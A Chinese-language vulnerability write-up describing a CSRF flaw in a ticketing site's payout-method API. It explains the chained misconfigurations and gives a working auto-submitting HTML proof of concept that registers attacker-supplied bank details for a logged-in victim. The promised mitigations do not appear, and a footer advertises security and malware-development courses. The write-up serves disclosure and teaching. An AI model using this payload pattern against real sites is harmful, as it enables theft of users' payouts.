简介:
在测试一个售票网站时,我发现其支付功能存在一个严重缺陷。用户在售票时提交银行详细信息以接收付款,但我发现此过程容易受到跨站点请求伪造 (CSRF) 的攻击。在本文中,我将向您介绍如何在 JSON 请求中利用 CSRF,展示潜在影响以及如何减轻影响。
详细场景:
在浏览该网站时,我发现了一个支付功能。
此功能要求用户添加他们的银行信息。
提交测试数据后,请求如下所示:
您会注意到该请求是基于 JSON 的,并且包含一个client_id
参数,该参数对于每个用户都是唯一的并且很难猜测。
我首先测试了该client_id
参数,以了解其在请求中的重要性。首先,我尝试将其更改为随机字符或client_id
其他用户的字符。
但这返回了 403 错误,这意味着后端验证是否client_id
与会话 cookie 匹配。
client_id
然后,我尝试从请求中删除。
令我惊讶的是,请求竟然在没有它的情况下被接受了。
此时,我开始考虑 CSRF。但在深入研究之前,我们需要检查会话 cookie 及其SameSite
标志。
最重要的错误是将SameSite
属性设置为None
。
为什么这是一个严重的错误?
- 允许跨站点请求→由于即使在跨源请求中也会发送会话 cookie,因此攻击者可以制作一个恶意网页,以经过身份验证的用户的名义提交伪造的请求。
- 启用 CSRF 漏洞→ 如果付款请求没有 CSRF 保护(例如需要 CSRF 令牌),攻击者可以诱骗已登录的用户访问自动发送付款请求的恶意网站。由于包含会话 cookie,因此请求会像合法用户发出的一样进行处理。
- 无需用户交互→ 由于服务器不需要
client_id
并且仅依赖会话 cookie,因此漏洞利用变得更加容易 — 无需猜测或窃取凭证。只要让受害者访问恶意链接就足以触发付款请求。
最后一个障碍是请求的内容类型是 JSON,这通常可以防止 CSRF 利用。
但还有另一个错误
查看Accept
标题:*/*
。这意味着服务器接受所有内容类型,包括text/plain
。
我将Content-Type
标题改为text/plain
。
是的!它返回时200 OK
没有错误。
通过将这些错误串联在一起,我们可以执行成功的 CSRF 攻击而不会失败。
我创建了一个如下的概念验证(PoC):
<html> <body> <form action="https://domain.com/api/v2/payout_methods?payout_method_type_id=us_bank_account&payout_method_version=2" method="POST" enctype="text/plain"> <input type="hidden" name="{"funding_type":"us_bank_account", "entity_type":"individual", "accepted_stripe_tos":true, "has_asserted_not_us_taxable":false, "first_name":"test", "last_name":"test", "email":"test@gmail.com", "date_of_birth":"2000-01-02", "address1":"12230 Westheimer Road", "address2":"" value="", "city":"test", "state":"TX", "zip":"77077", "country":"US", "ssn":"123456780", "bank_account_number":"9834568888", "bank_routing_number":"021000021"}" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body></html>
解码版本以便理解
<input type="hidden" name="{"funding_type":"us_bank_account", "entity_type":"individual", "accepted_stripe_tos":true, "has_asserted_not_us_taxable":false, "first_name":"test", "last_name":"test", "email":"test@gmail.com", "date_of_birth":"2000-01-02", "address1":"12230 Westheimer Road", "address2":"" value="", "city":"test", "state":"TX", "zip":"77077", "country":"US", "ssn":"123456780", "bank_account_number":"9834568888", "bank_routing_number":"021000021"}" />
这个 POC 生成如下请求
PoC 成功执行,没有任何问题。:)
其它相关课程
rust语言全栈开发视频教程-第一季(2025最新)
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
windows恶意软件开发与对抗视频教程
-
https://github.com/haidragon
https://gitee.com/haidragon
公众号:安全狗的自我修养
bilibili:haidragonx